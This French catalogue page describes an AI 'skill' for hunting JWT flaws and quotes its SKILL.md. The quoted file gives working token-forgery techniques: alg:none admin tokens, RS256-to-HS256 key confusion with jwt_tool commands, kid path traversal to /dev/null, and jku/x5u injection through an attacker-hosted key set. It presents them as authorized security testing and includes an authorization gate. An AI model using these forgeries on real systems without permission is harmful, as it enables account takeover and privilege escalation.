Aller au contenu
Skillpedia
Sécurité48k · #4880

hunt-jwt-crypto

Ce qu’il fait

Cet outil aide à trouver des failles de sécurité dans les jetons utilisés pour l'authentification sur Internet. Il vérifie s'il est possible de tromper le système pour qu'il accepte un jeton modifié, ce qui permettrait de se faire passer pour un autre utilisateur ou pour un administrateur.

Quand l’utiliser

  • ✓Lorsque vous testez la sécurité d'un site web ou d'une application.
  • ✓Pour comprendre le fonctionnement des jetons d'authentification et les points où ils peuvent échouer.
  • ✓Dans le cadre d'exercices de sécurité autorisés, pour détecter des vulnérabilités.

Lien du skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md

Copiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.

Comment l’utiliser

Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.

Message prêt à coller

Utilise ce skill pour m’aider : https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md Lis le fichier SKILL.md de ce lien et suis ses instructions pour ma tâche.
Envie que votre IA trouve seule des skills comme celui-ci ?Installez le MCP gratuit de Skillpedia : une ligne, et elle cherche parmi 15 000+ skills avant chaque tâche.Installer en 1 minute →

Exemple de demande à votre IA

“Vérifie s'il existe des failles de sécurité dans le jeton JWT de example.com”

5 nouveaux skills par semaine. 1 minute de lecture.

Comment ça marche

L'outil analyse la structure du jeton et tente d'appliquer des techniques connues pour exploiter ses faiblesses. Il peut essayer de modifier le jeton pour obtenir des privilèges d'administrateur, ou de se faire passer pour un autre utilisateur en exploitant la manière dont le système vérifie l'authenticité du jeton.

Contenu technique (SKILL.md original)

Texte original de l’auteur, en anglais, directement depuis GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

  • alg:none — the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
  • RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret — which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" → try key confusion. Any alg → always try alg:none first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none — become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.

RS256 → HS256 key confusion — once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection — verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

…

Questions fréquentes

Qu'est-ce qu'un JWT ?

JWT signifie JSON Web Token. C'est une norme permettant de créer des jetons d'accès qui transmettent de manière sécurisée des informations entre deux parties. Imaginez-le comme un badge numérique qui prouve qui vous êtes et quelles autorisations vous avez.

Quels sont les risques liés à l'utilisation de cet outil ?

Une utilisation abusive de cet outil est illégale et peut avoir de graves conséquences. Il ne doit être utilisé que dans des environnements contrôlés, avec l'autorisation explicite du propriétaire du système, à des fins pédagogiques ou d'évaluation de sécurité autorisée.

Que signifie « alg:none » ?

C'est une faille dans laquelle le système accepte un jeton sans signature. Si le système y est vulnérable, vous pouvez modifier le jeton pour devenir administrateur ou un autre utilisateur, sans avoir besoin de la clé secrète.

Détails

Description originale de l’auteur

Hunt JWT cryptographic failures

repo: sickn33/agentic-awesome-skills

Popularité

Étoiles GitHub
48k
Position au classement
#4880
Licence
MIT
Mis à jour
15/10/2026

Ce skill vous est-il utile ?

0

Connectez-vous pour voter.

Commentaires

  • …

Autres skills de ce dépôt

Skills similaires